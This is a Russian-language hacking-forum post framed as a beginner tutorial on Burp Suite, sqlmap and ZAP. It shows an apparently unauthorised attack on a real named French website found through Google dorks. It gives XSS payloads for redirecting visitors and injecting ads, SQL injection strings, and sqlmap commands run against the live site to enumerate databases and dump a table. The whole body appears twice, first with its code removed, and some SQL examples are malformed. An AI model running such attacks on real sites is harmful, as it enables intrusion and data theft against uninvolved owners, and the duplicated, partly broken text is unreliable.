D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Статья будет не совсем полной, потому что я случайно закрыл вкладку, а открыв её увидел лишь 1 этап и введение. Было у меня написано на 15к символов... Сгорело знатно, но что имеем, то имеем.
Введение
После всех теоретических статей мне бы хотелось сделать большую практическую, в который будут показаны реальные таргеты и примеры их уязвимостей.
Цель данной статьи - дать практическое введение в использование Burp Suite, sqlmap и OWASP ZAP. В статье будут рассмотрены основные функции этих инструментов и приведены примеры их использования.
По моей задумке, после прочтения этой статьи вы сможете с легкостью понимать структуру и порядок выявления уязвимостей несложных web-приложений.
Этап 1. Поиск таргета
Первый этап любого тестирования на проникновение - это поиск реального таргета для практики. Это может быть непростой задачей, особенно если вы новичок. Однако есть несколько способов найти подходящий таргет.
Один из способов найти таргет - это использовать гугл дорки. Их мы и будем использовать, я считаю что они отлично подойдут для наших задач. Список гугл дорков вы можете с легкостью найти сами.
Немного полазив в гугле я нашёл сайт - vinno.fr Его я сегодня и приведу в пример(советую вам делать все по статье, а после попробовать своими методами)
Немного советов по поиску таргета:
1. Если вы новичок, то не пытайтесь найти сложный таргет и сразу пытаться найти в нём уязвимость. Это не так просто, вы не сможете наугад взломать сайт.
2. Старайтесь обходить гос.учреждения, шансы что в них есть легкие уязвимости крайне мал.
3. Изучайте несколько сайтов, а не один, а из них уже выбирайте подходящий для ваших потребностей.
Этап 2. Практика
Поиск любых уязвимостей подрузомевает под собой поверхностное изучение таргета. Для начала нужно понять способы поиска уязвимостей, где их можно внедрить и т.п
Возьмём наш сайт и посмотрим на него:
Спойлер: скрин
Что мы здесь видим? Особо ничего, но есть строка поиска. Думаю что в ней нет ничего интересного, поэтому давайте проверим сайт на xss уязвимости, вписав скрипт
Спойлер: скрин
Хм, мы получили ошибку, но это не значит что уязвимости здесь нет на 100%, мы можем попробовать вставить скрипт в урл без данных после id:
Спойлер: скрин
Отлично! уязвимости есть, но что мы можем с ней сделать? много всего, например красть куки, сделать переход на другой сайт, красть пароли и юзернеймы. Да много всего - здесь главное фантазия. Давайте сделаем например перенаправление на другой сайт, для этого можно использовать скрипт:
Перейдем к sql атакам:
Типы sql-атак:
Спойлер: скрин
Среди них нам нужна вторая база. Возможно что в ней есть пароли или другая важная для нас информация. Но перед тем как достать данные из базы, давайте проверим какие у нас есть привилегии, для этого введем команду
Спойлер: скрин
Не густо... Но работать можно. Теперь давайте выгрузим список таблиц: -D vinnofrbfhbanane -tables:
Спойлер: скрин
Жалко что нет паролей. но информация всё же есть. давайте выгрузим её командой -D vinnofrbfhbanane -T products --dump
После выгрузки всей таблицы мы можем найти её в папке sqlmap/output.
Что мы можем сделать еще? Подгрузить в базу наши данные, запустить Шелл и многое другое, что я буду разбирать в следующей статье.
Немного практики с Burp Suite
да, с помощью бюрпа тоже можно искать sql уязвимости, и на самом деле довольно просто.
Вообще, есть 3 варианта - автоматически, в ручную и полу-автоматически. Я покажу 2 и 3 варианты.
При полу-автоматическом поиске мы выбираем параметр для изменения и через intruder запускаем атаку.
Например мы можем выбрать диапазон изменения и в пэйлоадах выбрать готовый список sql уязвимостей. После этого начать атаку и посмотреть на результат.
В результатах атаки советую отсортировать всё по длине, так легче искать индивидуальные ошибки.
При ручном поиске уязвимостей мы изменяем запрос через repeater. Чем же это лучше?
Ручной поиск позволяет нам взаимодействовать с сайтом более гибко и контролировать каждый шаг процесса. Мы можем анализировать и изменять запросы и ответы, настраивать параметры и фильтры, а также применять различные техники для обнаружения уязвимостей.
Автоматический поиск уязвимостей может пропустить некоторые специфические уязвимости, которые могут быть обнаружены только с помощью ручного анализа.
Примеров здесь особо не привести, т.к действовать нужно по факту взлома.
Примеры полезных SQL запросов:
1. Выбор всех данных из таблицы:
SELECT * FROM table_name;
2. Выбор данных с условием:
SELECT * FROM table_name WHERE column_name = 'value';
3. Вставка новой записи в таблицу:
INSERT INTO table_name (column1, column2) VALUES ('value1', 'value2');
4. Обновление данных в таблице:
UPDATE table_name SET column_name = 'значение' WHERE ;
5. Удаление данных из таблицы:
DELETE FROM table_name WHERE ;
6. Создание новой таблицы:
CREATE TABLE table_name (column1 дата, column2 дата);
7. Удаление таблицы:
DROP TABLE table_name;
8. Создание нового пользователя с правами доступа:
CREATE USER username IDENTIFIED BY 'password';
9. Удаление пользователя:
DROP USER username;
10. Выполнение произвольного SQL-запроса:
EXECUTE IMEDIATE 'SQL query';
Хорошо, мы узнали как искать SQL и xss уязвимости, их эксплуатацию. Но что дальше? Дальше нужно изучать, изучать и ещё раз изучать. Без этого никуда.
В Кратце про OWASP ZAP.
ZAP предлагает множество функций, таких как перехват и изменение запросов и ответов, сканирование уязвимостей, создание отчетов о безопасности, автоматизация тестирования и многое другое. Он имеет графический интерфейс (GUI). Чем он может быть лучше и полезнее burp? Во первых это то, что зап является полностью бесплатным. Так же у zap есть полностью автоматический сканер.
По итогу выбор очевиден - лучше всего комбинировать эти 2 инструмента, и будет у вас жизнь в шоколаде!)
Заключение
SQLMap и Burp Suite - мощные инструменты, которые могут помочь в поиске уязвимостей. SQLMap - инструмент автоматизации, а Burp Suite - это более универсальный продукт, который может использоваться для ручного поиска уязвимостей.
несколько советов :
Часть статьи я писал с телефона, поэтому заранее извиняюсь что мало скринов!
Введение
После всех теоретических статей мне бы хотелось сделать большую практическую, в который будут показаны реальные таргеты и примеры их уязвимостей.
Цель данной статьи - дать практическое введение в использование Burp Suite, sqlmap и OWASP ZAP. В статье будут рассмотрены основные функции этих инструментов и приведены примеры их использования.
По моей задумке, после прочтения этой статьи вы сможете с легкостью понимать структуру и порядок выявления уязвимостей несложных web-приложений.
Этап 1. Поиск таргета
Первый этап любого тестирования на проникновение - это поиск реального таргета для практики. Это может быть непростой задачей, особенно если вы новичок. Однако есть несколько способов найти подходящий таргет.
Один из способов найти таргет - это использовать гугл дорки. Их мы и будем использовать, я считаю что они отлично подойдут для наших задач. Список гугл дорков вы можете с легкостью найти сами.
Немного полазив в гугле я нашёл сайт - vinno.fr Его я сегодня и приведу в пример(советую вам делать все по статье, а после попробовать своими методами)
Немного советов по поиску таргета:
1. Если вы новичок, то не пытайтесь найти сложный таргет и сразу пытаться найти в нём уязвимость. Это не так просто, вы не сможете наугад взломать сайт.
2. Старайтесь обходить гос.учреждения, шансы что в них есть легкие уязвимости крайне мал.
3. Изучайте несколько сайтов, а не один, а из них уже выбирайте подходящий для ваших потребностей.
Этап 2. Практика
Поиск любых уязвимостей подрузомевает под собой поверхностное изучение таргета. Для начала нужно понять способы поиска уязвимостей, где их можно внедрить и т.п
Возьмём наш сайт и посмотрим на него:
Спойлер: скрин
Что мы здесь видим? Особо ничего, но есть строка поиска. Думаю что в ней нет ничего интересного, поэтому давайте проверим сайт на xss уязвимости, вписав скрипт
<script>alert("XSS");</script>
в url.Спойлер: скрин
Хм, мы получили ошибку, но это не значит что уязвимости здесь нет на 100%, мы можем попробовать вставить скрипт в урл без данных после id:
Спойлер: скрин
Отлично! уязвимости есть, но что мы можем с ней сделать? много всего, например красть куки, сделать переход на другой сайт, красть пароли и юзернеймы. Да много всего - здесь главное фантазия. Давайте сделаем например перенаправление на другой сайт, для этого можно использовать скрипт:
<script>window.location.href = "ваша ссылка";</script>
или же внедрять вашу рекламу: <script>document.write("<img src=\"ссылка\">");</script>
Перейдем к sql атакам:
Типы sql-атак:
- Error-Based: когда сайт обнаруживает SQL-инъекцию, он может генерировать сообщение об ошибке. Это сообщение об может содержать информацию о базе данных.
' OR 1=1
- Union-Based SQL Injections: UNION используется для объединения результатов двух или более запросов в один набор.
' UNION SELECT * FROM information_schema.tables;
- Blind Boolean-based SQL Injections: этот тип атаки используется, когда веб-приложение не генерирует сообщений об ошибках при обнаружении SQL-инъекции.
' AND username='acc2ss';
Для проверки на существование пользователя - Time-Based Blind: В этом виде атаки мы отправляем запросы к базе данных, которые преднамеренно вызывают задержку в ответе. Затем анализируем время ответа, чтобы извлечь информацию о базе данных.
python3 sqlmap.py -u http://www.vinno.fr/product.php?id=1%27 -dbs
мы увидим список доступных нам баз данных:Спойлер: скрин
Среди них нам нужна вторая база. Возможно что в ней есть пароли или другая важная для нас информация. Но перед тем как достать данные из базы, давайте проверим какие у нас есть привилегии, для этого введем команду
--privileges
Спойлер: скрин
Не густо... Но работать можно. Теперь давайте выгрузим список таблиц: -D vinnofrbfhbanane -tables:
Спойлер: скрин
Жалко что нет паролей. но информация всё же есть. давайте выгрузим её командой -D vinnofrbfhbanane -T products --dump
После выгрузки всей таблицы мы можем найти её в папке sqlmap/output.
Что мы можем сделать еще? Подгрузить в базу наши данные, запустить Шелл и многое другое, что я буду разбирать в следующей статье.
Немного практики с Burp Suite
да, с помощью бюрпа тоже можно искать sql уязвимости, и на самом деле довольно просто.
Вообще, есть 3 варианта - автоматически, в ручную и полу-автоматически. Я покажу 2 и 3 варианты.
При полу-автоматическом поиске мы выбираем параметр для изменения и через intruder запускаем атаку.
Например мы можем выбрать диапазон изменения и в пэйлоадах выбрать готовый список sql уязвимостей. После этого начать атаку и посмотреть на результат.
В результатах атаки советую отсортировать всё по длине, так легче искать индивидуальные ошибки.
При ручном поиске уязвимостей мы изменяем запрос через repeater. Чем же это лучше?
Ручной поиск позволяет нам взаимодействовать с сайтом более гибко и контролировать каждый шаг процесса. Мы можем анализировать и изменять запросы и ответы, настраивать параметры и фильтры, а также применять различные техники для обнаружения уязвимостей.
Автоматический поиск уязвимостей может пропустить некоторые специфические уязвимости, которые могут быть обнаружены только с помощью ручного анализа.
Примеров здесь особо не привести, т.к действовать нужно по факту взлома.
Примеры полезных SQL запросов:
1. Выбор всех данных из таблицы:
SELECT * FROM table_name;
2. Выбор данных с условием:
SELECT * FROM table_name WHERE column_name = 'value';
3. Вставка новой записи в таблицу:
INSERT INTO table_name (column1, column2) VALUES ('value1', 'value2');
4. Обновление данных в таблице:
UPDATE table_name SET column_name = 'значение' WHERE ;
5. Удаление данных из таблицы:
DELETE FROM table_name WHERE ;
6. Создание новой таблицы:
CREATE TABLE table_name (column1 дата, column2 дата);
7. Удаление таблицы:
DROP TABLE table_name;
8. Создание нового пользователя с правами доступа:
CREATE USER username IDENTIFIED BY 'password';
9. Удаление пользователя:
DROP USER username;
10. Выполнение произвольного SQL-запроса:
EXECUTE IMEDIATE 'SQL query';
Хорошо, мы узнали как искать SQL и xss уязвимости, их эксплуатацию. Но что дальше? Дальше нужно изучать, изучать и ещё раз изучать. Без этого никуда.
В Кратце про OWASP ZAP.
ZAP предлагает множество функций, таких как перехват и изменение запросов и ответов, сканирование уязвимостей, создание отчетов о безопасности, автоматизация тестирования и многое другое. Он имеет графический интерфейс (GUI). Чем он может быть лучше и полезнее burp? Во первых это то, что зап является полностью бесплатным. Так же у zap есть полностью автоматический сканер.
По итогу выбор очевиден - лучше всего комбинировать эти 2 инструмента, и будет у вас жизнь в шоколаде!)
Заключение
SQLMap и Burp Suite - мощные инструменты, которые могут помочь в поиске уязвимостей. SQLMap - инструмент автоматизации, а Burp Suite - это более универсальный продукт, который может использоваться для ручного поиска уязвимостей.
несколько советов :
- Будьте терпеливы. Поиск уязвимостей может быть долгим процессом. Не расстраивайтесь если не обнаружите ни одной уязвимости сразу.
- Используйте другие инструменты. SQLMap и Burp Suite - это мощные инструменты, но они не единственные. Существует множество других инструментов, которые могут помочь в этом процессе.
Часть статьи я писал с телефона, поэтому заранее извиняюсь что мало скринов!